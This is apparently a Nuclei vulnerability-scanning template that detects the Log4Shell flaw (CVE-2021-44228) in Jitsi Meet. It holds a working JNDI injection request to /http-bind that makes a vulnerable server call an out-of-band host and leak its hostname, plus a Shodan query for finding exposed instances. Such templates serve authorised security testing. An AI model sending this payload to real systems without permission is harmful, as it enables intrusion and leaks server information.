id: jitsi-meet-log4j-rce

info:
  name: Jitsi Meet - Remote Code Execution (Apache Log4j)
  author: shaikhyaser
  severity: critical
  description: |
    Jitsi Meet is susceptible to Log4j JNDI remote code execution. Jitsi is a collection of free and open-source multiplatform voice, video conferencing and instant messaging applications for the Web platforms.
  reference:
    - https://github.com/jitsi/security-advisories/blob/4e1ab58585a8a0593efccce77d5d0e22c5338605/advisories/JSA-2021-0004.md
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cve-id: CVE-2021-44228
    cwe-id: CWE-77
  metadata:
    max-request: 1
    shodan-query: title:"Jitsi Meet"
  tags: cve,cve2021,rce,jndi,log4j,jitsi,oast,kev
variables:
  rand1: '{{rand_int(111, 999)}}'
  rand2: '{{rand_int(111, 999)}}'
  str: "{{rand_base(5)}}"

http:
  - raw:
      - |
        GET /http-bind?room=${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.username.{{interactsh-url}}/{{str}}} HTTP/1.1
        Host: {{Hostname}}
        Origin: {{RootURL}}
        Referer: {{RootURL}}

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol # Confirms the DNS Interaction
        words:
          - "dns"

      - type: regex
        part: interactsh_request
        regex:
          - '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'

    extractors:
      - type: kval
        kval:
          - interactsh_ip

      - type: regex
        part: interactsh_request
        group: 2
        regex:
          - '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'

      - type: regex
        part: interactsh_request
        group: 1
        regex:
          - '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'

# digest: 4a0a0047304502203465904927585143210ad11151357a290f5bf5223975073ceb732e375c09c6b3022100ed18efce0aa5306d76a7350fa729494c1ab6fe0282b97cbd3a2e86e8ad2f327d:922c64590222798bb761d5b6d8e72950